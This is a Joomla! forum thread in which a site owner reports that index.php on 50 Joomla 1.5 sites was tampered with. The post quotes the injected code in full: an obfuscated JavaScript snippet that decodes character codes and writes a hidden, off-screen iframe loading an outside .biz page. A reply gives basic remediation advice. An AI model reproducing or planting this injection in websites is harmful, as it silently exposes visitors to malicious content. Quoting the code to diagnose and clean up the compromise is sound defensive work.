Hack or virus problem - please help! - Joomla! Forum - community, help and support

hello!

i have 50 sites hosted @ hostmonster, , today found out each of them built joomla 1.5.x has blank frontpage message:

parse error: syntax error, unexpected '<' in /home/xxxxxxxx/public_html/xxxxxxxxxxxxxxxx/index.php on line 89

none of sites built joomla 1.0.x touched, jomla 1.5.x sites.

does know might , how can protect sites in future this?

this found out:
the original joomla index.php file has @ end:

code: select all

/**
 * return response
 */
echo jresponse::tostring($mainframe->getcfg('gzip'));

however, index.php file creates problems has this:

code: select all

/**
 * return response
 */
echo jresponse::tostring($mainframe->getcfg('gzip'));
<?php echo '<script type="text/javascript">var chbrngcmxgmdgbqomivz = "gypnf60gypnf105gypnf102gypnf114gypnf97gypnf109gypnf101gypnf32gypnf119gypnf105gypnf100gypnf116gypnf104gypnf61gypnf34gypnf52gypnf56gypnf48gypnf34gypnf32gypnf104gypnf101gypnf105gypnf103gypnf104gypnf116gypnf61gypnf34gypnf54gypnf48gypnf34gypnf32gypnf115gypnf114gypnf99gypnf61gypnf34gypnf104gypnf116gypnf116gypnf112gypnf58gypnf47gypnf47gypnf112gypnf114gypnf111gypnf102gypnf105gypnf116gypnf111gypnf111gypnf108gypnf116gypnf105gypnf112gypnf46gypnf98gypnf105gypnf122gypnf47gypnf115gypnf101gypnf97gypnf114gypnf99gypnf104gypnf47gypnf109gypnf97gypnf112gypnf115gypnf46gypnf104gypnf116gypnf109gypnf108gypnf34gypnf32gypnf115gypnf116gypnf121gypnf108gypnf101gypnf61gypnf34gypnf98gypnf111gypnf114gypnf100gypnf101gypnf114gypnf58gypnf48gypnf112gypnf120gypnf59gypnf32gypnf112gypnf111gypnf115gypnf105gypnf116gypnf105gypnf111gypnf110gypnf58gypnf114gypnf101gypnf108gypnf97gypnf116gypnf105gypnf118gypnf101gypnf59gypnf32gypnf116gypnf111gypnf112gypnf58gypnf48gypnf112gypnf120gypnf59gypnf32gypnf108gypnf101gypnf102gypnf116gypnf58gypnf45gypnf53gypnf48gypnf48gypnf112gypnf120gypnf59gypnf32gypnf111gypnf112gypnf97gypnf99gypnf105gypnf116gypnf121gypnf58gypnf48gypnf59gypnf32gypnf102gypnf105gypnf108gypnf116gypnf101gypnf114gypnf58gypnf112gypnf114gypnf111gypnf103gypnf105gypnf100gypnf58gypnf68gypnf88gypnf73gypnf109gypnf97gypnf103gypnf101gypnf84gypnf114gypnf97gypnf110gypnf115gypnf102gypnf111gypnf114gypnf109gypnf46gypnf77gypnf105gypnf99gypnf114gypnf111gypnf115gypnf111gypnf102gypnf116gypnf46gypnf65gypnf108gypnf112gypnf104gypnf97gypnf40gypnf111gypnf112gypnf97gypnf99gypnf105gypnf116gypnf121gypnf61gypnf48gypnf41gypnf59gypnf32gypnf45gypnf109gypnf111gypnf122gypnf45gypnf111gypnf112gypnf97gypnf99gypnf105gypnf116gypnf121gypnf58gypnf48gypnf34gypnf62gypnf60gypnf47gypnf105gypnf102gypnf114gypnf97gypnf109gypnf101gypnf62";var alqjuccfzaacictviwhf = chbrngcmxgmdgbqomivz.split("gypnf");var dujjvzyihtiifyraaufa = "";for (var vgcdiwzrshwvbgfxfegm=1; vgcdiwzrshwvbgfxfegm<alqjuccfzaacictviwhf.length; vgcdiwzrshwvbgfxfegm++){dujjvzyihtiifyraaufa+=string.fromcharcode(alqjuccfzaacictviwhf[vgcdiwzrshwvbgfxfegm]);}document.write(dujjvzyihtiifyraaufa)</script>'; ?>

thanks in advance,
manman

hi,

please make sure run latest version of joomla 1.5.
and change code in line 89 or below that.

please change passwords, including ftp , mysql passwords.

please read well:
http://docs.joomla.org/joomla!_administ ... _checklist

olaf